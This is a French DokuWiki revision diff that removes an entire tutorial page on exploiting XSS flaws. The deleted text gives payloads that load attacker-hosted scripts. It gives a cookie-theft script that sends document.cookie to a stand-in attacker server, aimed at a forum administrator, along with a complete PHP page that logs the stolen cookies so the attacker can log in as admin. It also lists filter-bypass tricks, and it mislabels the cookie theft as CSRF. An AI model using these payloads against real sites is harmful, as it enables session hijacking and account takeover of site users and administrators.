Outils pour utilisateurs

Outils du site


web:injection_xss

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

web:injection_xss [2016/04/15 10:19]
arkinar
web:injection_xss [2016/07/04 08:38]
Ligne 1: Ligne 1:
-**Failles XSS** 
- 
-Le cross-site scripting (abrégé XSS), est un type de faille de sécurité des sites web permettant d'​injecter du contenu dans une page. Elle permet ainsi de provoquer des actions sur les navigateurs web visitant la page. 
- 
-Elle est liée à un code HTML qui n'est pas paralysé. 
- 
-Comment la détecter : 
- 
-Dans les formulaires les personnes sont censées entrer des données "​formater"​ d'une certaine façon. 
- 
-Par exemple dans un champs pseudo on s’attend à ce que la personne rentre quelque chose comme : isileaks ou is1leaks. 
- 
-Si nous rentrons cela : 
- 
-<​code><​b>​ coucou </​b></​code>​ 
- 
-Si vous voyez apparaitre "​coucou"​ en gras à coter du champs, le code est faillible. 
- 
-{{ :​web:​xss.png?​nolink |}} 
- 
- 
- 
-Le code html c'est gentil mais injectons quelque chose de plus sérieux : 
- 
-Du javascript  : 
- 
-<​code><​script>​ alert('​coucou'​) </​script></​code>​ 
- 
-Si une pop-up s'​ouvre c'est que le champ est faillible et que nous pourrons l'​exploiter avec du JS. 
- 
-{{ :​web:​xss2.png?​nolink |}} 
- 
- 
-__Méthode 1:__ 
- 
-On va injecter notre code javascript sur le site faillible 
- 
-<script src="​http://​monsite.com/​monscript.js"</​script>​ 
- 
-Pour faire cela vous allez avoir besoin d'un serveur web sur lequel vous allez héberger votre script js. 
- 
-Dans notre script js nous mettrons : 
- 
- 
-<​code><​script>​ alert("​hack by XSS"​)</​script></​code>​ 
- 
-Cela aurait pour effet d'​afficher une pop-up lorsque la page du site faillible s'​ouvrira. 
- 
-{{ :​web:​xss3.png?​nolink |}} 
- 
- 
-Le code que je vous ai donné n'aura pas d’effet grave sur la victime mais vous pouvez faire de grandes choses avec du JS. 
- 
-__Méthode 2: CSRF__ 
- 
-La CSRF (Cross-Site Request Forgery) est une attaque visant à faire exécuter une action à un utilisateur sans qu'il en soit conscient. 
- 
-Le principe : 
- 
-Envoyer un message (par exemple sur un forum qui est faillible au xss) à l'​administrateur. 
- 
-Dans le contenu du message nous allons mettre notre code javascript : 
- 
-<​code><​script>​window.open("​http://​monserveur/​mapage.php?​cookie="​+document.cookie)</​script></​code>​ 
- 
-Ce code javascript à pour effet d'​envoyer le contenu du cookie vers votre site web 
- 
-De votre coté il vous faudra un serveur web ainsi qu'une page php contenant: 
-<​code>​ 
-<?php 
- 
-if(!empty($_GET["​cookie"​])) { 
- 
-    $fp = fopen("​getCookie.log",​ "​a+"​);​ 
- 
-    if($fp) { 
- 
-        $dateTime = new DateTime("​NOW"​);​ 
- 
-        fputs($fp, $dateTime->​format("​Y-m-d h:​i:​s"​). " : "​.htmlspecialchars($_GET["​cookie"​])."​\n"​);​ 
- 
-        fclose($fp);​ 
- 
-    } 
- 
-} 
- 
- 
- 
-if(!empty($_GET["​admin"​])) { 
- 
-    $fp = fopen("​getCookie.log",​ "​r"​);​ 
- 
-    while($lig = fgets($fp)) { 
- 
-        echo $lig."<​br>";​ 
- 
-    } 
- 
-    fclose($fp);​ 
- 
-} 
- 
-?> 
-</​code> ​       
-Lorsque l'​administrateur va lire le message, la valeur de son cookie sera récupérée sur votre page php.  
- 
-Pour consulter cette valeur il vous suffira de vous rendre sur la page getCookie.log qui va se crée automatiquement. 
- 
-En cas d'​authentification par cookie vous pourrez vous connecter en tant qu'​admin 
- 
-ByPassing des protections contre les XSS: 
- 
-Il arrive parfois que des protections soient mise en place pour empêcher ce genre d'​attaque,​ voici quelque techniques pour bypasser ces protections. 
- 
-__Bypassing magic_quotes_gpc :__ 
- 
-La fonction magic_quotes_gpc=on en php modifie les quotes qu'​elles soient simple ou double (' ou ") en backslash (\). Par exemple <​script>​alert("​Coucou"​);</​script>​ sera filtré en <​script>​alert(\Coucou\);</​script>​ empêchant ainsi le script de fonctionner. 
-Alors comment faire ?! Utiliser les caractères ASCII ! 
- 
-notre Coucou devient par exemple : String.fromCharCode(67,​ 111, 117, 99, 111, 117) 
-Ce qui donne  
-<​code><​script>​String.fromCharCode(97,​ 108, 101, 114, 116, 40, 34, 67, 111, 117, 99, 111, 117, 34, 41, 59)</​script></​code>​ --> Qui sera normalement exécuté ! Pas de quote présente, aucun filtre à réalisé. 
- 
-__Bypassing avec des valeurs Hexa :__ 
- 
-Nous pouvons aussi convertir notre payload en hexa, notre <​script>​alert("​Coucou"​);</​script>​ devient :  
- 
-<​code>​%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%43%6f%75%63%6f%75%22%29%3b%3c%2f%73%63%72%69%70%74%3e</​code>​ 
- 
-__Bypassing par obfuscation :__ 
- 
-Il arrive parfois qu'un administrateur de site un peu feignant ne daigne pas insérer une réel protection et filtre les mots script, alert etc ... 
-un simple <​code><​ScRiPt>​AlErT("​Coucou"​);</​sCrIpT></​code>​ fera l'​affaire !  
- 
-Cela bien sur marche de moins en moins, mais parfois... ça suffit ! 
- 
-__Bypassing par fermeture de tag :__ 
- 
-Parfois il est nécessaire de fermer une balise afin que notre script soit exécuté : 
-Par exemple : Le contenu du Name est directement injecté dans l’attribut "​class"​ de la balise qui contiendra le message envoyé. 
- 
-<​code>​User"><​script>​alert("​Coucou"​);</​script></​code>​ 
- 
-Source :​[[http://​venom630.free.fr/​geo/​tutz/​securite_informatique/​xss/​]] 
- 
-[[http://​www.bases-hacking.org/​faille-xss.html]] 
  
web/injection_xss.txt · Dernière modification: 2016/07/04 08:38 (modification externe)